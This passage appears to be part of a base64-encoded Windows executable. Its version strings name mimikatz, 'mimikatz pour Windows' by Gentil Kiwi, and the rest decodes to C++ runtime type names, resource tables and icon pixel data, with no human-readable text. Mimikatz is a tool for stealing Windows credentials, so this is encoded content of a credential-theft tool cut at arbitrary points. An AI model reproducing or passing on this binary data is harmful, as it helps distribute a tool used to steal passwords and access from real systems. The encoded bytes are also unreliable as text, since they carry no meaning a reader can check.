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ACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACQMAAAsKCQALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAgsLCwQLCwsJCwsLDgsLCxMLCwsXCwsLGgsLCxcLCwsTCwsLDQsLCwULCwsCCwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwoJAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLBwsLCxYLCwsnCwsLOAsJCT8LCQdFCwkHTQsJB1kLCQdkCwkJcAsLCXsLCwuFCwsMigsLDIkLCwt/CwsLcwsLC2ULCwtWCwsLSQsLC0ALCws6CwsLLgsLCxwLCwsKCwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLDQsLCx4LCws2CwsLTgsLC2YLCQVzDQkGhw0NDZ8NDRGuDhMXvg0OEbwJDA6+CwsLxg0LCMwLBwPKCwgD0QsIBdQLCQfTCwsJzQsLC8QLCwy7CwsLsQsLC6gLCwucCwsLigsLC2wLCwtKCwsLKQsLCxELCwsDCwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwYLCwskCwsLRAsLC2ILCgl9CwkGjw0IBqgNEhnQChos+AkeNf8HIDv/ByND/wgmRf8JJUP/CSA7/wggOf8KIDf+Cxko/QsWIPkLDRL1CwkF8wsGA/ILCQXwCwkJ6gsLC+ULCwvaCwsLyQsLC60LCwuNCwsLaAsLC0QLCwsmCwsLEgsLCwYLCwsBCwsLAAsLCwALCws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